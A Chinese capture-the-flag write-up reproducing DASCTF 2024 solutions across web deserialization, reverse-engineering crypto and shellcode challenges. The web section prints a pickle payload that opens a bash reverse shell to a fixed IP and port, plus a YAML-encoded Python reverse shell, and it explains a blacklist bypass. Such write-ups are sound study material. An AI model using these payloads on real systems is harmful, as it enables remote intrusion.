DASCTF 2024最后一战 wp(复现)
DASCTF 2024最后一战 wp(复现)
checkin
访问即可
西湖论剑邀请函获取器
get_env(name = “FLAG”)
即可
Web
const_python
1 | # 假设存在如下路由处理 |
题目导入了 pickle
、base64
等模块,且存在动态数据处理逻辑(如 Session 管理、身份验证),可能通过反序列化传递对象。
Pickle 协议的本质:Pickle 不是简单的数据序列化,而是能重建任意对象的协议。反序列化时会自动调用 __reduce__
方法,该方法返回一个可执行函数和参数元组。
注意黑名单中ban的是__builtin__
,所以builtins
模块可用
builtins里面有subprocess。subprocess.run这个内建的方法可以代替os.popen运行命令,没被waf
https://blog.csdn.net/cc20100608/article/details/139285386
所以这题也能用Popen
1 | # 改用subprocess或os.execvp等隐蔽执行 |
1 | return (builtins.__import__("subprocess").run, (["bash", "-c", "bash -i >& /dev/tcp/111.229.217.82/6666 0>&1"],)) |
1 | import os |
这样不行:
1 | class RCE: |
1 | import requests |
yaml_matser
很明显是打 pyyaml 反序列化,版本肯定是漏洞版本的,只需要考虑绕 waf 即可
1 | __import__('os').system('python3 -c \'import os,pty,socket;s=socket.socket();s.connect(("xxx.xxx.xxx.xxx",7777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")\'') |
再编码一次
1 | !!python/object/new:type |
RE
tryre
换表base64
刻板印象re
动调发现这么一个东西,花指令,果然不简单
去除后p,还是可以依稀看出来是个xtea
1 |
|
输出发现是个fakeflag_plz_Try_more_hard_to_find_the_true_flag
lpAddress
可能包含 解密后的一段可执行代码,该代码会在运行时被执行
这大概是SMC
popa和pusha中间的部分才是加密逻辑的代码,其余的代码都是用来控制代码块执行的。
多运行几次把代码摘下来问gpt是个xxtea,delta是0x11451419h
key是{What_is_this_?}
8f6ca63f943df5d9366651d7662fb38fc0619ecee9d7e1bf13141614c2e7c33a7f94a1e7240ea75cd377fe4f11dc6923
加密逻辑是xor1->xtea->xor2->xxtea->xor3,可写出解密脚本
1 | mov ebp, esp |
exp:
1 |
|
黑客不许哭
nop反调试
- 输入处理分析:输入的每个字符被转换为 double 并乘以一个常数,这个常数可能需要进行逆向,比如查看 qword_7FF66211A000 的值,可能是一个缩放因子,比如 1 / 某个数,或者某种编码转换。比如,如果输入的字符被乘以某个值后存储,可能需要除以该值来恢复原始字符。
- 中间运算逆向:两个主要的处理函数 sub_13B0 和 sub_14C0 可能涉及线性代数运算,比如矩阵乘法、转置,或者其他变换。需要分析这两个函数的内部逻辑,可能通过静态分析或动态调试来确定运算方式,然后逆向得到输入。
- 预设数据对比:最终的比较数组 qword_7FF66211A170,可以通过提取其内容,得到处理后的目标 double 数组,然后逆向这两个阶段的运算,得到原始输入。例如,可能需要将目标数组通过逆运算得到中间值,再通过逆向初始的 double 转换得到字符。
1 | import re |
1 |
|
随便测一段数据
1 | 01324567980123456789012345678901234567980123 |
secret_of_inkey
感觉有点像迷宫题
跟踪Right到
逐位异或索引和key,然后进行AES_ECB解密,都是使用输入的key值。
每次加密获得的文本传入下一次加密作为密钥
密文在哪呢,从526下面发现了一块数据,交叉引用了下可能这个数据就是密文
放好有960块数据
1 | import idc |
或者
1 | import idc |
这个3844是自己算的,往下滑可以找到结尾是0x43E1BF,简单算了下
提出来
我参考了其它佬的wp
1 | keys = {'565': '9fc82e15d9de6ef2'} |
其实这个是有问题的,虽然也能出来答案,但是比如
elif b'nothing_here' in dec: allenc.remove(i) run = 1这种是没有实际意义的,因为没有这种情况
用while循环的下效率比较低,使用元组方式存储keys键值在运行时会有重复调用的情况产生,速度慢
此外,在用565进行第一次测试发现,它没有输出4个下一个key,只输出两个
最后我参考了另一篇wp,发现这篇更容易理解一些,做了一些更改
#逆向-DASCTF2024-复现|寒夜破晓,冬至终章 (完结) | Sealの北极小屋
1 | from Crypto.Cipher import AES |
还有种方法:
PyAutoGUI提供了一种强大且易于使用的方式来自动化各种与计算机交互的任务。它可以帮助提高生产力,并简化复杂的工作流程
1 | import pyautogui |
pwn
ez_shellcode
参考了[DASCTF 2024最后一战|寒夜破晓,冬至终章] 数论的气氛,ez_shellcode_[dasctf 2024最后一战|寒夜破晓,冬至终章]-CSDN博客
做了一些自己的小改动,增加了些自己的理解
读取单字节v10
作为 “幸运数字”,并用其填充整个s
内存区域(memset(s, v10, 0x1000)
)。
读取字符串v14
,并通过sub_3626
函数验证其合法性。验证规则为:
- 偶数索引字节(如
0x8D
)满足> 0x7F
。 - 奇数索引字节(如
0x76
)满足<= 0x7F
。
将s
的地址存入v11
,调用sub_38A2(&v11)
,最终执行s
中的代码(call v1
)。
Linux 内核为了兼容旧版 32 位程序,保留了 int 0x80
的中断处理逻辑。
- 寄存器截断:int 0x80 使用32 位寄存器(eax, ebx, ecx…)传递参数。内核会将 32 位寄存器值符号扩展到 64 位(例如
eax=0x3
会被视为rax=0x0000000000000003
)。 - 地址限制:若参数是内存地址(如指针),必须位于 32 位地址空间(即
0x00000000
到0x7FFFFFFF
),否则可能因高位截断导致错误。
1 | from pwn import * |
在调用shellcode之前,主程序将 mmap 分配的内存地址(buf)按照调用约定存放到了 ebx 中。shellcode就利用这一点,用 xor ecx, ebx
把 buf 地址转移到 ecx,进而用作 read 的缓冲区参数。
程序调用了 mmap,返回的地址存储到变量 s 中(在反汇编中看到“mov [rbp+s], rax”)。这个 s 就是我们希望用作 read 缓冲区的地址,也就是 buf。
由于调用者(sub_38A2 调用时)已经将 v11 传递到函数指针调用的上下文中,在调用过程中,通过调用约定和之前对寄存器的安排,s 的值实际上“遗留”在某个寄存器中或者在栈上。
这里发送的 b'\x90'*0x20
部分构成了一个 NOP 滑道(NOP sled),它的作用有以下几点:
- 对齐与跳转缓冲区
由于第一阶段 shellcode 通过系统调用(read
)将第二阶段 payload读入内存后,会直接跳转执行读入的内容。这个过程中可能存在跳转偏移或对齐上的误差。足够长的 NOP 滑道能确保即使跳转不够精确,也能“滑”到真正的 shellcode 开始位置。 - 稳定性保障
实际测试中发现,使用 0x18(24)个 NOP 时不够稳定或未能正确跳转,而 0x20(32)个 NOP 提供了足够的缓冲区域,从而保证后续 shellcode(例如调用/bin/sh
)能够被执行。 - 经验选择
这实际上是一种经验值选择:根据具体的内存布局、执行环境以及第一阶段 shellcode对 read 调用后传入数据的处理方式,选择一个合适的 NOP 滑道长度是确保 exploit 成功的重要环节。你测试发现 0x18以下不行,而 0x20或以上可以,说明 0x20 个 NOP提供了足够的跳转空间。